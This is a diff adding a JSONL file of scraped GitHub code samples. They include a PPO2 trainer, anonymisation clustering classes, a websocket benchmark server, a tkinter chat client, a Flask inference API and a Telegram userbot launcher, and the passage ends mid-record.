diff --git "a/3465.jsonl" "b/3465.jsonl"
new file mode 100644--- /dev/null
+++ "b/3465.jsonl"
@@ -0,0 +1,995 @@
+{"seq_id":"36170038088","text":"import math\nimport os\nimport os.path as osp\nimport time\nfrom collections import deque\n\nimport joblib\nimport numpy as np\n# noinspection PyPackageRequirements\nimport tensorflow as tf\n\nfrom agents.common import get_throttle\nfrom sim.action import Action\nfrom vendor.openai.baselines import logger\n\nfrom vendor.openai.baselines.common.math_util import explained_variance\n\nimport config as c\n\nTF_VAR_SCOPE = 'ppo2model'\n\n\nclass Model(object):\n def __init__(self, *, policy, ob_space, ac_space, nbatch_act, nbatch_train,\n nsteps, ent_coef, vf_coef, max_grad_norm, **kwargs):\n sess = tf.get_default_session()\n\n act_model = policy(sess, ob_space, ac_space, nbatch_act, 1, reuse=False, **kwargs)\n train_model = policy(sess, ob_space, ac_space, nbatch_train, nsteps, reuse=True, **kwargs)\n\n A = train_model.pdtype.sample_placeholder([None])\n ADV = tf.placeholder(tf.float32, [None])\n R = tf.placeholder(tf.float32, [None])\n OLDNEGLOGPAC = tf.placeholder(tf.float32, [None])\n OLDVPRED = tf.placeholder(tf.float32, [None])\n LR = tf.placeholder(tf.float32, [])\n CLIPRANGE = tf.placeholder(tf.float32, [])\n\n neglogpac = train_model.pd.neglogp(A)\n entropy = tf.reduce_mean(train_model.pd.entropy())\n\n vpred = train_model.vf\n vpredclipped = OLDVPRED + tf.clip_by_value(train_model.vf - OLDVPRED, - CLIPRANGE, CLIPRANGE)\n vf_losses1 = tf.square(vpred - R)\n vf_losses2 = tf.square(vpredclipped - R)\n vf_loss = .5 * tf.reduce_mean(tf.maximum(vf_losses1, vf_losses2))\n ratio = tf.exp(OLDNEGLOGPAC - neglogpac)\n pg_losses = -ADV * ratio\n pg_losses2 = -ADV * tf.clip_by_value(ratio, 1.0 - CLIPRANGE, 1.0 + CLIPRANGE)\n pg_loss = tf.reduce_mean(tf.maximum(pg_losses, pg_losses2))\n approxkl = .5 * tf.reduce_mean(tf.square(neglogpac - OLDNEGLOGPAC))\n clipfrac = tf.reduce_mean(tf.to_float(tf.greater(tf.abs(ratio - 1.0), CLIPRANGE)))\n loss = pg_loss - entropy * ent_coef + vf_loss * vf_coef\n with tf.variable_scope(TF_VAR_SCOPE):\n params = tf.trainable_variables()\n grads = tf.gradients(loss, params)\n if max_grad_norm is not None:\n grads, _grad_norm = tf.clip_by_global_norm(grads, max_grad_norm)\n grads = list(zip(grads, params))\n trainer = tf.train.AdamOptimizer(learning_rate=LR, epsilon=1e-5)\n _train = trainer.apply_gradients(grads)\n\n def train(lr, cliprange, obs, returns, masks, actions, values, neglogpacs, states=None):\n advs = returns - values\n if len(advs) > 1:\n advs = (advs - advs.mean()) / (advs.std() + 1e-8)\n for _adv in advs:\n if math.isnan(_adv):\n print('huh oh nan time')\n td_map = {train_model.X:obs, A:actions, ADV:advs, R:returns, LR:lr,\n CLIPRANGE:cliprange, OLDNEGLOGPAC:neglogpacs, OLDVPRED:values}\n if states is not None:\n td_map[train_model.S] = states\n td_map[train_model.M] = masks\n # print('running backprop')\n ret = sess.run(\n [pg_loss, vf_loss, entropy, approxkl, clipfrac, _train],\n td_map\n )[:-1]\n return ret\n self.loss_names = ['policy_loss', 'value_loss', 'policy_entropy', 'approxkl', 'clipfrac']\n\n def save(save_path):\n print('saving model to %s' % save_path)\n ps = sess.run(params)\n joblib.dump(ps, save_path)\n\n def load(load_path):\n print('loading weights from %s' % load_path)\n loaded_params = joblib.load(load_path)\n restores = []\n for p, loaded_p in zip(params, loaded_params):\n restores.append(p.assign(loaded_p))\n sess.run(restores)\n # If you want to load weights, also save/load observation scaling inside VecNormalize\n\n self.train = train\n self.train_model = train_model\n self.act_model = act_model\n self.step = act_model.step\n self.value = act_model.value\n self.initial_state = act_model.initial_state\n self.save = save\n self.load = load\n tf.global_variables_initializer().run(session=sess) #pylint: disable=E1101\n\n\ndef mis(action_probs, rewards):\n \"\"\" Mistake importance scaling\n It seems that taking the log probability in Policy Gradient reverses the amount of learning you would want for\n negative rewards. i.e. We learn much more from unlikely bad actions, than we do likely ones. Whereas this is what\n we want for positive rewards - to learn more from unlikely good actions, we would want the opposite for negative\n rewards - learn more from likely bad actions because our goal is for bad actions and states to be unlikely.\n I've tested these ideas a bit in baselines and the results seem to be good.\n Although I'm sort of duct-taping on the idea by scaling negative rewards inversely to their odds to reverse\n the effect of taking the log. I also notice that DQN, which does not scale the gradient by log likelihood,\n does better than PG methods on Atari games with mostly negative rewards, i.e. DoubleDunk, ice hockey, and surround,\n with skiing being an exception to this rule - but the score for skiing is weird.\"\"\"\n mis_rewards = []\n for i, reward in enumerate(rewards):\n if 'SCALE_ALL_REWARDS' in os.environ:\n mis_rewards.append(reward * 1.8) # Works (in pong), but not as well as scaling by odds\n else:\n if reward < 0:\n scale = 1 + action_probs[i] / (1 - action_probs[i])\n scale = min(scale, 3)\n mis_rewards.append(reward * scale)\n else:\n mis_rewards.append(reward)\n return mis_rewards\n\n\nclass Runner(object):\n\n def __init__(self, *, env, model, nsteps, gamma, lam):\n self.env = env\n self.model = model\n nenv = env.num_envs\n self.obs = np.zeros((nenv,) + env.observation_space.shape, dtype=model.train_model.X.dtype.name)\n self.obs[:] = env.reset()\n self.gamma = gamma\n self.lam = lam\n self.nsteps = nsteps\n self.states = model.initial_state\n self.dones = [False for _ in range(nenv)]\n\n def run(self):\n mb_obs, mb_rewards, mb_actions, mb_values, mb_dones, mb_neglogpacs = [],[],[],[],[],[]\n mb_states = self.states\n epinfos = []\n for _ in range(self.nsteps):\n actions, values, self.states, neglogpacs, action_probs = self.model.step(self.obs, self.states, self.dones)\n\n mb_obs.append(self.obs.copy())\n mb_actions.append(actions)\n mb_values.append(values)\n mb_neglogpacs.append(neglogpacs)\n mb_dones.append(self.dones)\n\n self.obs[:], rewards, self.dones, infos = self.env.step(actions)\n\n rewards = mis(action_probs, rewards)\n\n for info in infos:\n maybe_episode_info = info.get('episode') if info else None\n if maybe_episode_info: epinfos.append(maybe_episode_info)\n\n mb_rewards.append(rewards)\n #batch of steps to batch of rollouts\n mb_obs = np.asarray(mb_obs, dtype=self.obs.dtype)\n mb_rewards = np.asarray(mb_rewards, dtype=np.float32)\n mb_actions = np.asarray(mb_actions)\n mb_values = np.asarray(mb_values, dtype=np.float32)\n mb_neglogpacs = np.asarray(mb_neglogpacs, dtype=np.float32)\n mb_dones = np.asarray(mb_dones, dtype=np.bool)\n last_values = self.model.value(self.obs, self.states, self.dones)\n #discount/bootstrap off value fn\n mb_returns = np.zeros_like(mb_rewards)\n mb_advs = np.zeros_like(mb_rewards)\n lastgaelam = 0\n for t in reversed(range(self.nsteps)):\n if t == self.nsteps - 1:\n nextnonterminal = 1.0 - self.dones\n nextvalues = last_values\n else:\n nextnonterminal = 1.0 - mb_dones[t+1]\n nextvalues = mb_values[t+1]\n delta = mb_rewards[t] + self.gamma * nextvalues * nextnonterminal - mb_values[t]\n mb_advs[t] = lastgaelam = delta + self.gamma * self.lam * nextnonterminal * lastgaelam\n mb_returns = mb_advs + mb_values\n\n # TODO(py27): Python versions < 3.5 do not support starred expressions in tuples, lists, and sets\n return (*map(sf01, (mb_obs, mb_returns, mb_dones, mb_actions, mb_values, mb_neglogpacs)),\n mb_states, epinfos)\n\n def process_actions(self, actions):\n action = Action.from_gym(actions)\n action.throttle = get_throttle(actual_speed=self.obs['speed'], target_speed=(8 * 100))\n actions = action.as_gym()\n return actions\n\n\n# obs, returns, masks, actions, values, neglogpacs, states = runner.run()\n\n\ndef sf01(arr):\n \"\"\"\n swap and then flatten axes 0 and 1\n \"\"\"\n s = arr.shape\n return arr.swapaxes(0, 1).reshape(s[0] * s[1], *s[2:])\n\n\ndef constfn(val):\n def f(_):\n return val\n return f\n\n\ndef learn(*, policy, env, nsteps, total_timesteps, ent_coef, lr,\n vf_coef=0.5, max_grad_norm=0.5, gamma=0.99, lam=0.95,\n log_interval=10, nminibatches=4, noptepochs=4, cliprange=0.2,\n save_interval=0, eval_only=False, **kwargs):\n\n if isinstance(lr, float): lr = constfn(lr)\n else: assert callable(lr)\n if isinstance(cliprange, float): cliprange = constfn(cliprange)\n else: assert callable(cliprange)\n total_timesteps = int(total_timesteps)\n\n nenvs = env.num_envs\n ob_space = env.observation_space\n\n ac_space = env.action_space\n nbatch = nenvs * nsteps\n\n if nenvs < nminibatches and 'lstm' in policy.__name__.lower():\n # We aren't running enough environments to split our observations across\n nbatch_train = nbatch\n else:\n nbatch_train = nbatch // nminibatches\n\n make_model = lambda : Model(policy=policy, ob_space=ob_space, ac_space=ac_space, nbatch_act=nenvs, nbatch_train=nbatch_train,\n nsteps=nsteps, ent_coef=ent_coef, vf_coef=vf_coef,\n max_grad_norm=max_grad_norm, **kwargs)\n if save_interval and logger.get_dir():\n import cloudpickle\n with open(osp.join(logger.get_dir(), 'make_model.pkl'), 'wb') as fh:\n fh.write(cloudpickle.dumps(make_model))\n model = make_model()\n if c.PPO_RESUME_PATH is not None:\n model.load(c.PPO_RESUME_PATH)\n\n runner = Runner(env=env, model=model, nsteps=nsteps, gamma=gamma, lam=lam)\n\n epinfobuf = deque(maxlen=100)\n tfirststart = time.time()\n\n nupdates = total_timesteps//nbatch\n for update in range(1, nupdates + 1):\n assert nbatch % nminibatches == 0\n nbatch_train = nbatch // nminibatches\n tstart = time.time()\n frac = 1.0 - (update - 1.0) / nupdates\n lrnow = lr(frac)\n cliprangenow = cliprange(frac)\n\n obs, returns, masks, actions, values, neglogpacs, states, epinfos = runner.run() #pylint: disable=E0632\n\n if eval_only:\n continue\n\n epinfobuf.extend(epinfos)\n mblossvals = []\n if states is None: # nonrecurrent version\n inds = np.arange(nbatch)\n for _ in range(noptepochs):\n np.random.shuffle(inds)\n for start in range(0, nbatch, nbatch_train):\n end = start + nbatch_train\n minibatch_indxs = inds[start:end]\n slices = (arr[minibatch_indxs] for arr in (obs, returns, masks, actions, values, neglogpacs))\n mblossvals.append(model.train(lrnow, cliprangenow, *slices))\n else: # recurrent version\n # assert nenvs % nminibatches == 0\n # envsperbatch = nenvs // nminibatches\n envinds = np.arange(nenvs)\n flatinds = np.arange(nenvs * nsteps).reshape(nenvs, nsteps)\n envsperbatch = nbatch_train // nsteps # ((nevns * nsteps) // nminibatches) // nsteps\n envsperbatch = max(envsperbatch, 1)\n for _ in range(noptepochs):\n np.random.shuffle(envinds)\n for start in range(0, nenvs, envsperbatch):\n end = start + envsperbatch\n mbenvinds = envinds[start:end]\n mbflatinds = flatinds[mbenvinds].ravel()\n slices = (arr[mbflatinds] for arr in (obs, returns, masks, actions, values, neglogpacs))\n mbstates = states[mbenvinds]\n\n # TODO(py27): Python versions < 3.5 do not allow positional arguments after *expression\n mblossvals.append(model.train(lrnow, cliprangenow, *slices, mbstates))\n\n lossvals = np.mean(mblossvals, axis=0)\n tnow = time.time()\n fps = int(nbatch / (tnow - tstart))\n if update % log_interval == 0 or update == 1:\n ev = explained_variance(values, returns)\n logger.logkv(\"serial_timesteps\", update * nsteps)\n logger.logkv(\"nupdates\", update)\n logger.logkv(\"total_timesteps\", update * nbatch)\n logger.logkv(\"fps\", fps)\n logger.logkv(\"explained_variance\", float(ev))\n logger.logkv('eprewmean', safemean([epinfo['reward'] for epinfo in epinfobuf]))\n logger.logkv('eplenmean', safemean([epinfo['length'] for epinfo in epinfobuf]))\n logger.logkv('time_elapsed', tnow - tfirststart)\n for (lossval, lossname) in zip(lossvals, model.loss_names):\n logger.logkv(lossname, lossval)\n logger.dumpkvs()\n # input('continue?')\n if save_interval and (update % save_interval == 0 or update == 1) and logger.get_dir():\n checkdir = osp.join(logger.get_dir(), 'checkpoints')\n os.makedirs(checkdir, exist_ok=True)\n savepath = osp.join(checkdir, '%.5i'%update)\n print('Saving to', savepath)\n model.save(savepath)\n env.close()\n\n\ndef safemean(xs):\n return np.nan if len(xs) == 0 else np.mean(xs)\n","repo_name":"deepdrive/deepdrive","sub_path":"vendor/openai/baselines/ppo2/ppo2.py","file_name":"ppo2.py","file_ext":"py","file_size_in_byte":14112,"program_lang":"python","lang":"en","doc_type":"code","stars":862,"dataset":"github-code","pt":"82"}
+{"seq_id":"38186946374","text":"import numpy as np\n\n\nclass Tuple:\n id = 0\n\n def __init__(self, pid=0, offset=0, qid_atts=None):\n self.pid = Tuple.id\n Tuple.id += 1\n if qid_atts is None:\n qid_atts = {}\n self.qidAtts = qid_atts\n self.pid = pid\n self.offset = offset\n\n def __str__(self):\n return str(self.pid)\n\n\nclass Cluster:\n\n \"\"\"\n tuples: list\n list of tuples in the cluster: [t1, t2, ...]\n genAtts: dict\n dictionary with minimum and maximum of each pid in Cluster that will be used in calculation of Tau.\n The key is the attribute's name, and the value is a a tuple (min, max) containing the minimum and maximum values\n in the cluster -> {att_name: (min, max)}.\n \"\"\"\n\n id = 0\n\n def __init__(self, tuple_):\n self.id = Cluster.id\n Cluster.id += 1\n self.tuples = [tuple_]\n self.genAtts = {}\n # Transforming {key, value} in {key, (value, value)}\n for key, value in tuple_.qidAtts.items():\n self.genAtts[key] = (value, value)\n\n # add tuple to [tuples] and update min max in each attribute in genAtts\n def add_tuple(self, tuple_):\n \"\"\"\n Adds a new tuple in the cluster and then calls put_values(tuple_.qidAtts).\n\n :param tuple_: new tuple\n \"\"\"\n self.tuples.append(tuple_)\n self.put_values(tuple_.qidAtts)\n\n def put_values(self, qids):\n \"\"\"\n Updates the genAtts list, i.e. the (min, max) of each attribute.\n :param qids: Attributes of a new tuple used to update genAtts.\n \"\"\"\n for key in qids.keys():\n # if key in qidAtts, check if value < minimum or value > maximum.\n if key in self.genAtts:\n minimum, maximum = self.genAtts[key]\n\n if qids[key] < minimum:\n minimum = qids[key]\n elif qids[key] > maximum:\n maximum = qids[key]\n self.genAtts[key] = (minimum, maximum)\n else:\n self.genAtts[key] = (qids[key], qids[key])\n\n def centroid(self):\n \"\"\"\n Calculates the cluster's centroid as the average of each attribute.\n\n :return: average of attributes from tuples in cluster.\n \"\"\"\n sum_att = np.zeros(len(self.genAtts))\n for tuple_ in self.tuples:\n\n for i, att in enumerate(tuple_.qidAtts.values()):\n sum_att[i] += att\n\n mean_atts = sum_att/len(self.tuples)\n return mean_atts\n\n def __len__(self):\n \"\"\"\n :return: number of tuples in the cluster.\n \"\"\"\n return len(self.tuples)\n\n\n# Setting min and max from all pids in all stream\nclass QidAttsDomain:\n \"\"\"\n qidAtts: dict\n dictionary with minimum and maximum of each element in the stream so far that will be used in calculation of Tau\n The key is the attribute's name, and the value is a tuple (min, max) containing the minimum and maximum values\n -> {att_name: (min, max)}.\n \"\"\"\n def __init__(self, qid_atts={}):\n self.qidAtts = {}\n # Transforming {key, value} in {key, (value, value)}\n for key, value in qid_atts.items():\n self.qidAtts[key] = (value, value)\n\n # consider qid = {qid,value}\n def put_values(self, qids):\n \"\"\"\n Updates the genAtts list, i.e. the (min, max) of each attribute.\n :param qids: Attributes of a new tuple used to update genAtts.\n \"\"\"\n for key in qids.keys():\n # if key in qidAtts, check if value < minimum or value > maximum.\n\n if key in self.qidAtts:\n minimum, maximum = self.qidAtts[key]\n if qids[key] < minimum:\n minimum = qids[key]\n elif qids[key] > maximum:\n maximum = qids[key]\n\n self.qidAtts[key] = (minimum, maximum)\n else:\n self.qidAtts[key] = (qids[key], qids[key])\n\n\nclass Tau:\n \"\"\"\n Keeps track of the last mi cluster published, and calculates the average of their info_loss.\n \"\"\"\n def __init__(self, mi=0, value=0):\n \"\"\"\n :param mi: number of published clusters to be used to calculate Tau\n :param value: the info_loss average of the last mi published clusters\n \"\"\"\n self.value = value\n self.last_clusters_info_loss = []\n self.mi = mi\n\n def update(self, cluster_info_loss):\n \"\"\"\n Updates tau value.\n\n :param cluster_info_loss: info loss from last published cluster\n \"\"\"\n\n if len(self.last_clusters_info_loss) < self.mi:\n self.last_clusters_info_loss.append(cluster_info_loss)\n # if anonymizedClusters size is >= mi, should pop the oldest one before adding\n else:\n self.last_clusters_info_loss.pop(0)\n self.last_clusters_info_loss.append(cluster_info_loss)\n\n self.value = sum(self.last_clusters_info_loss) / len(self.last_clusters_info_loss)\n\n\n\n","repo_name":"israelcvidal/doca","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"18799979014","text":"import asyncio\nimport logging\n\nimport websockets\n\n\nasync def server_main(websocket, path):\n logging.info(f'server_main, path:{path}')\n while True:\n rx_msg = await websocket.recv()\n logging.info(f'< {rx_msg}')\n\n if rx_msg.startswith('start_bm'):\n tokens = rx_msg.split()\n assert len(tokens) == 3\n\n size = int(tokens[1])\n cnt = int(tokens[2])\n logging.info(f'size:{size}, cnt:{cnt}')\n tx_msg = 'a' * size\n for i in range(cnt):\n await websocket.send(tx_msg)\n await websocket.send(f'end_bm')\n else:\n tx_msg = f'echo {rx_msg!r}'\n await websocket.send(tx_msg)\n logging.info(f'> {tx_msg}')\n\nif __name__ == '__main__':\n # debug\n LOG_FORMAT = '%(pathname)s:%(lineno)03d | %(asctime)s | %(levelname)s | %(message)s'\n # LOG_LEVEL = logging.DEBUG # DEBUG(10), INFO(20), (0~50)\n LOG_LEVEL = logging.INFO # DEBUG(10), INFO(20), (0~50)\n\n logging.basicConfig(format=LOG_FORMAT, level=LOG_LEVEL)\n\n start_server = websockets.serve(server_main, \"localhost\", 8080)\n asyncio.get_event_loop().run_until_complete(start_server)\n asyncio.get_event_loop().run_forever()\n\n","repo_name":"nhlsm/websocket_benchmark","sub_path":"w41_1_python_websocket_server.py","file_name":"w41_1_python_websocket_server.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"24664343104","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 22 18:13:24 2017\n\n@author: andraa\n\"\"\"\nimport datetime\nimport pandas as pd\nfrom os.path import isfile, join\nfrom os import listdir\n \n\nfolder = '/media/andraa/10160545101605452/kaggle/WSDM-kaggle/data/intermediate_data/user_log_merge'\n\nmerge_file = '/media/andraa/10160545101605452/kaggle/WSDM-kaggle/data/intermediate_data/user_log_members.csv'\n\n\nfiles = [f for f in listdir(folder) if isfile(join(folder, f))]\nf_out = open(merge_file, 'w')\nf_init = open(join(folder, files[0]))\n\nprint(files[0])\nfor l in f_init.readlines():\n f_out.write(l)\n\nfor f_in in files[1:]:\n print(f_in)\n for l in open(join(folder, f_in)).readlines()[1:]:\n f_out.write(l)\n\n\nf_out.close()","repo_name":"AndraAnoaica/kaggle_music","sub_path":"merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"39538017537","text":"from base64 import encode\nimport socket\nimport threading\nimport tkinter\nimport tkinter.scrolledtext\nfrom tkinter import simpledialog\n\n# It needs to match the server port\nHOST = '127.0.0.1' \nPORT = 9090\n\n''' You can also use your public IP address to host on the web instead locally\n The user will have to specify the public IP address in order to connect\n Need to open ports on the server side as well\n'''\n\n# Creating a client that has a socket that connects with host and port\nclass Client:\n\n def __init__(self, host, port):\n\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.connect((host, port))\n\n msg = tkinter.TK()\n msg.withdraw()\n\n # Getting nickname from the user\n self.nickname = simpledialog.askstring(\"Nickname\", \"Please choose a nickname\", parent=msg)\n\n self.gui_done = False\n self.running = True\n\n # Threads to build the GUI and maintains the GUI and connects to the server\n gui_thread = threading.Thread(target=self.gui_loop)\n receive_thread = threading.Thread(target=self.receive)\n\n gui_thread.start()\n receive_thread.start()\n\n # Build the GUI\n def gui_loop(self):\n self.win = tkinter.Tk()\n self.win.configure(bg=\"lightgray\")\n\n self.chat_label = tkinter.Label(self.win, text=\"Chat:\", bg=\"lightgray\")\n self.chat_label.config(font=(\"Arial\", 12))\n self.chat_label.pack(padx=20, pady=5)\n\n self.text_area = tkinter.scrolledtext.ScrolledText(self.win)\n self.text_area.pack(padx=20, pady=5)\n\n # Disabled means the content cannot be changed. To change it, revert it to enabled make \n # the changes and revert back to disabled.\n self.text_area.config(state='disabled') \n\n self.msg_label = tkinter.Label(self.win, text=\"Message:\", bg=\"lightgray\")\n self.msg_label.config(font=(\"Arial\", 12))\n self.msg_label.pack(padx=20, pady=5)\n\n self.input_area = tkinter.Text(self.win, height=3)\n self.input_area.pack(padx=20, pady=5)\n\n self.send_button = tkinter.Button(self.win, text=\"Send, command=self.write\")\n self.send_button.config(font=(\"Arial\", 12))\n self.send_button.pack(padx=20, pady=5)\n\n self.gui_done = True\n\n self.win.protocol(\"WM_DELETE_WINDOW\", self.stop)\n\n self.win.mainloop()\n\n\n def write(self):\n message = f\"{self.nickname}: {self.input_area.get('1.0', 'end')}\"\n self.sock.send(message.encode('utf-8'))\n self.input_area.delete('1.0', 'end')\n\n\n def stop(self):\n self.running = False\n self.win.destroy()\n self.sock.close()\n exit(0)\n\n\n def receive(self):\n while self.running:\n try:\n message = self.sock.recv(1024).decode('utf-8')\n if message == 'NICK':\n self.sock.send(self.nickname.encode('utf-8'))\n\n else:\n if self.gui_done:\n self.text_area.config(state='normal')\n self.text_area.config('end', message)\n self.text_area.yview('end')\n self.text_area.config(state='disabled')\n except ConnectionAbortedError:\n break\n except:\n print('Error')\n self.sock.close()\n break\n\nclient = Client(HOST, PORT)\n","repo_name":"nicolasnkGH/Simple-GUI-Chat","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"34939346944","text":"# -*- coding: utf-8 -*-\n\"\"\"\ncollection_list_requestor.py\n\nA time queue action to periodically request a list of collections\n\"\"\"\nimport logging\nimport os\nimport time\n\n_collection_polling_interval = float(os.environ.get(\n \"NIMBUSIO_ANTI_ENTROPY_COLLECTION_POLLING_INTERVAL\", \"86400.0\")\n)\n\nclass CollectionListRequestor(object):\n \"\"\"\n A time queue action to periodically request a list of collections\n \"\"\"\n def __init__(self, state):\n self._log = logging.getLogger(\"CollectionListRequestor\")\n self._state = state\n\n @classmethod\n def next_run(cls):\n return time.time() + _collection_polling_interval\n\n def run(self, halt_event):\n \"\"\"\n request a list of collection ids from the local database\n \"\"\"\n if halt_event.is_set():\n self._log.info(\"halt-event is set, exiting\")\n return\n\n collection_id_generator = \\\n self._state[\"central-database-connection\"].generate_all_rows(\n \"\"\"\n select id \n from nimbusio_central.collection\n where deletion_time is null\n \"\"\"\n )\n for (collection_id, ) in collection_id_generator:\n self._state[\"collection-ids\"].add(collection_id)\n\n self._log.info(\"%s known collection ids\" % (\n len(self._state[\"collection-ids\"]), \n ))\n \n return [(self.run, self.next_run(), )]\n\n","repo_name":"jocelyn-monitor/nimbus.io","sub_path":"anti_entropy_server/collection_list_requestor.py","file_name":"collection_list_requestor.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"35268882624","text":"from flask import Flask, request, jsonify, render_template\nimport os\nfrom flask_cors import CORS, cross_origin\nfrom datetime import datetime\n\nfrom services.card_detector.application.ai.inference.prediction import CardsDetector\nfrom services.card_detector.application.ai.utils.utils import decodeImage\n\nos.putenv('LANG', 'en_US.UTF-8')\nos.putenv('LC_ALL', 'en_US.UTF-8')\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n\n@app.route(\"/predict\", methods=['POST'])\n@cross_origin()\ndef predictRoute():\n try:\n image = request.json['image']\n image_name = \"input_image_\" + str(datetime.now()).split(':')[-1] + \".jpg\"\n cards_detector.settings.logger.info(\"Received Post Request for inference--!!\")\n decodeImage(image, image_name, cards_detector.settings.INPUT_IMAGE_PATH)\n cards_detector.settings.logger.info(\n \"Image stored in directory -- \" + cards_detector.settings.INPUT_IMAGE_PATH + \"--with image name--\" + str(\n image_name))\n result = cards_detector.predict(cards_detector.settings.INPUT_IMAGE_PATH + image_name)\n return jsonify(result)\n except BaseException as ex:\n cards_detector.settings.logger.error(\"Following Error occurred while inference---!!\", str(ex))\n return jsonify(str(ex))\n\n\nif __name__ == \"__main__\":\n cards_detector = CardsDetector()\n port = 9000\n app.run(host='127.0.0.1', port=port)\n","repo_name":"R-aryan/Cards_Detection_Using_FASTER-RCNN","sub_path":"services/card_detector/api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"38690213007","text":"import importlib\nimport time\nfrom datetime import datetime\nimport asyncio\n#from asyncio import get_event_loop_policy\nfrom pyrogram import idle\nfrom uvloop import install\nfrom Ubotlibs import *\nfrom Ubot import BOTLOG_CHATID, aiosession, bots, app, ids, LOOP\nfrom platform import python_version as py\nfrom Ubot.logging import LOGGER\nfrom pyrogram import __version__ as pyro\nfrom Ubot.modules import ALL_MODULES\nfrom Ubotlibs import *\nfrom Ubot.core.db.activedb import *\nfrom Ubot.core.db.usersdb import *\nfrom config import SUPPORT, CHANNEL, CMD_HNDLR, ADMIN1_ID\nimport os\nfrom dotenv import load_dotenv\n\n\nMSG_BOT = \"\"\"\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n• **Alive\n• **Phython**: `{}`\n• **Pyrogram**: `{}`\n• **Users**: `{}`\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n\"\"\"\n\nMSG_ON = \"\"\"\n**pyRainger Actived ✅**\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n• **Versi** : `{}`\n• **Phython** : `{}`\n• **Pyrogram** : `{}`\n• **Masa Aktif** : `{}`\n• **Akan Berakhir**: `{}`\n**Ketik** `{}alive` **untuk Mengecheck Bot**\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n\"\"\"\n\nMSG = \"\"\"\n**Users**: `{}`\n**ID**: `{}`\n\"\"\"\n\n\nasync def main():\n await app.start()\n LOGGER(\"Ubot\").info(\"Memulai Ubot Pyro..\")\n for all_module in ALL_MODULES:\n importlib.import_module(\"Ubot.modules\" + all_module)\n for bot in bots:\n try:\n await bot.start()\n ex = await bot.get_me()\n user_id = ex.id\n await buat_log(bot)\n botlog_chat_id = await get_botlog(user_id)\n LOGGER(\"Info\").info(\"Startup Completed\")\n LOGGER(\"√\").info(f\"Started as {ex.first_name} | {ex.id} \")\n await join(bot)\n await bot.send_message(botlog_chat_id, MSG_ON.format(BOT_VER, py(), pyro))\n ids.append(ex.id)\n except Exception as e:\n LOGGER(\"X\").info(f\"{e}\")\n await idle()\n await aiosession.close()\n await app.stop()\n \n\nif __name__ == \"__main__\":\n LOGGER(\"Ubot\").info(\"Starting Ubot\")\n install()\n LOOP.run_until_complete(main())\n","repo_name":"RaingerXD/pyRaingerV1_heroku","sub_path":"Ubot/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"73832773708","text":"def _eval(newSentences, label_map, args, eval_dataset):\n tag2Idx = {v: k for k, v in label_map.items()}\n trueEntityID, predEntityID = entityIDGeneration(newSentences)\n\n f1_record = []\n if args.determine_entity:\n labels = []\n preds = []\n for sent in newSentences:\n for token_info in sent:\n labels.append(token_info[1])\n preds.append(token_info[2])\n assert len(labels) == len(preds)\n p, r, f1 = compute_token_f1(labels, preds)\n f1_record.append(f1)\n print(\"Entity: Precision: {}, Recall: {}, F1: {}\".format(p, r, f1))\n else:\n if args.flag == 'ALL' or args.inference:\n flags = [f for f in tag2Idx.keys()][1:-2]\n for flag in flags:\n precision, recall, f1 = compute_precision_recall_f1(trueEntityID, predEntityID, flag, tag2Idx[flag])\n print(flag + \": Precision: {}, Recall: {}, F1: {}\".format(precision, recall, f1))\n overall_precision, overall_recall, overall_f1 = compute_overall_precision_recall_f1(trueEntityID, predEntityID, tag2Idx)\n f1_record.append(overall_f1)\n print(\"OVERALL: Precision: {}, Recall: {}, F1: {}\".format(overall_precision, overall_recall, overall_f1))\n else:\n p, r, f1 = compute_precision_recall_f1(trueEntityID, predEntityID, args.flag, 1)\n f1_record.append(f1)\n print(args.flag + \": Precision: {}, Recall: {}, F1: {} on {}\".format(p, r, f1, eval_dataset))\n\n return sum(f1_record)\n\n\ndef entityIDGeneration(sentences):\n sent_id = 0\n type_ = \"#\"\n flag = -1\n\n label_start_id = 0\n pred_start_id = 0\n\n true_entities = []\n pred_entities = []\n for sentence in sentences:\n # print(\"sentence\")\n # print(sentence)\n pre_label = \"O\"\n sent_true_entities = []\n sent_pred_entities = []\n for i, (word, label, pred) in enumerate(sentence):\n if label == \"O\":\n if not pre_label == \"O\":\n label_end_id = i - 1\n # print(\"entity label: \", sent_id, label_start_id, label_end_id, type)\n sent_true_entities.append(\"_\".join([str(i) for i in [sent_id, label_start_id, label_end_id]] + [type_]))\n else:\n if \"B-\" in label:\n label = label.split(\"-\")[-1]\n if not pre_label == \"O\":\n label_end_id = i - 1\n sent_true_entities.append(\"_\".join([str(i) for i in [sent_id, label_start_id, label_end_id]] + [type_]))\n label_start_id = i\n type_ = label\n else:\n continue\n pre_label = label\n if not pre_label == \"O\":\n label_end_id = len(sentence) - 1\n # print(\"entity label: \", sent_id, label_start_id, label_end_id, type)\n sent_true_entities.append(\"_\".join([str(i) for i in [sent_id, label_start_id, label_end_id]] + [type_]))\n\n pre_pred = 1\n for i, (word, label, pred) in 